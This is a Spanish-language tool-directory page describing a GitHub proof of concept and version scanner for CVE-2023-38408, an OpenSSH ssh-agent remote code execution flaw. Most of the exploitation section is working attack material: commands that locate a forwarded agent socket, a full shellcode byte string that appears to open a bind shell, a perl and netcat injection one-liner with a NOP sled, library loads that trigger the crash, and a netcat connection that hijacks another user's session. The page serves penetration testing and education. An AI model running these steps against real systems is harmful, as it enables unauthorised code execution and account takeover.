Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-38408 — CVE-2023-38408 Escáner de Vulnerabilidad SSH & PoC | Kitploit
Herramientas/GitHubGitHub/tx-one/cve-2023-38408
Escáneres de VulnerabilidadesGeneración de PayloadsExplotaciónShellcodePruebas de PenetraciónAprendizaje y EducaciónHerramienta de Acceso Remoto
GitHubtx-one/cve-2023-38408

CVE-2023-38408

CVE-2023-38408 Escáner de Vulnerabilidad SSH & PoC

Ver Repositorio
7hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Vulnerabilidad en OpenSSH - CVE-2023-38408 📚

Introducción

Se encontró una vulnerabilidad en OpenSSH (versiones anteriores a 9.3p2). La característica PKCS#11 en ssh-agent de OpenSSH tiene una ruta de búsqueda insuficientemente confiable, lo que lleva a la ejecución remota de código si un agente se reenvía a un sistema controlado por un atacante (el código en /usr/lib no es necesariamente seguro para cargarse en ssh-agent). Esta falla permite que un atacante con control del socket del agente reenviado en el servidor y la capacidad de escribir en el sistema de archivos del cliente host ejecute código arbitrario con los privilegios del usuario que ejecuta ssh-agent.

En el ejemplo a continuación, podemos observar brevemente los pasos desde la exploración hasta comprometer al usuario alice.

  • Paso 1: el usuario Atacante se conecta mediante SSH al servidor.
  • Paso 2: la usuaria Alicia también está conectada mediante ssh en el servidor.
  • Paso 3: el atacante crea un shellcode para enviarlo a través del proceso ssh al servidor objetivo.
  • Paso 4: el shellcode enviado por el atacante explota la vulnerabilidad PKCS#11 del ssh-agent y crea un nuevo proceso secuestrando el acceso ssh de la usuaria Alicia.
  • Paso 5: aún a través del acceso normal del atacante, es posible ejecutar comandos operativos como la usuaria Alicia, accediendo al exploit creado en el shellcode mediante nc localhost 31337.

¿Cómo hacerlo? Vamos a crear el POC

Como se mencionó anteriormente, en este POC usaremos 2 usuarios conectados a un servidor mediante SSH. Para seguir los pasos a continuación, asumimos que ambos usuarios ya tienen acceso al servidor (SSH).

  1. Obtener el PID del agente SSH que se ejecuta en la máquina atacante remota y exportarlo a una variable de entorno. También agregamos mediante ssh-add el archivo linuxx64.elf.stub (stub de arranque UEFI)
root@kitploit:~
echo /tmp/ssh-*/agent.*
export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub

  1. Ahora, para copiar el shellcode en el proceso mediante SSH, debes seguir estos pasos mientras aún estás en la máquina atacante;
root@kitploit:~
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"

Finalmente, presiona Ctrl-C para detener la transferencia de netcat una vez que el shellcode se haya colocado exitosamente en la memoria del agente.

  1. En este paso, vamos a subir 3 archivos mediante ssh-add; libttcn3-rt2-dynamic.so, libKF5SonnetUi.so.5.92.0 y libns3.35-wave.so.0.0.0. El siguiente paso en el proceso de explotación es registrar el manejador de señal para la señal de violación de segmento (SIGSEGV).

[!NOTE] Desencadenando SIGSEGV 💬
SIGSEGV es una señal conocida que un proceso de computadora recibe cuando ocurre una referencia de memoria inválida (fallo de segmentación). Al recibir la señal SIGSEGV, el kernel reconoce que ha ocurrido un acceso a memoria inválido y procede a invocar el manejador de señal personalizado en lugar de terminar el programa abruptamente. Al hacerlo, el atacante aprovecha la oportunidad para manipular la ejecución del programa y dirigirlo hacia el código malicioso inyectado ubicado dentro del sled NOP.

root@kitploit:~
ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
[Enter for passphrase]

  1. En este punto, ya hemos logrado explotar a la usuaria Alicia mediante el acceso ssh del atacante al servidor, ejecutando el comando a continuación creado por el shellcode. 🔥
root@kitploit:~
nc localhost 31337

¿Me afecta CVE-2023-38408? ❓

La vulnerabilidad afecta principalmente a sistemas donde se utiliza el agente SSH de OpenSSH y la función de reenvío del agente está habilitada. Las organizaciones y personas que dependen de OpenSSH deben evaluar rápidamente sus configuraciones para determinar una posible exposición. Si tu sistema cumple las condiciones mencionadas, es crucial tomar medidas inmediatas para mitigar el riesgo asociado con CVE-2023-38408.

Detección automatizada del CVE usando mi herramienta

Instalación

root@kitploit:~
git clone https://github.com/TX-One/CVE-2023-38408.git
cd CVE-2023-38408

Uso

root@kitploit:~
python CVE-2023-38408_scanner.py -t <objetivo> -p <puerto>

Flujo del protocolo

root@kitploit:~
Cliente                          Servidor
  | --- SSH-2.0-Client_Test ----> |
  | <---- Banner del servidor SSH ----- |

Salida simple

root@kitploit:~
TXOne SSH Vulnerability Scanner : CVE-2023-38408
Desarrollado por TXOne

[+] Conectando a 192.168.1.100:22...
[+] Banner recibido: SSH-2.0-OpenSSH_9.2
[+] Versión de OpenSSH detectada: 9.2
[!] Versión vulnerable de OpenSSH detectada: 9.2

Descargo de responsabilidad

Esta herramienta está destinada únicamente para pruebas de seguridad autorizadas y fines educativos. Siempre obtén la autorización adecuada antes de escanear cualquier recurso de red.

Descargar herramienta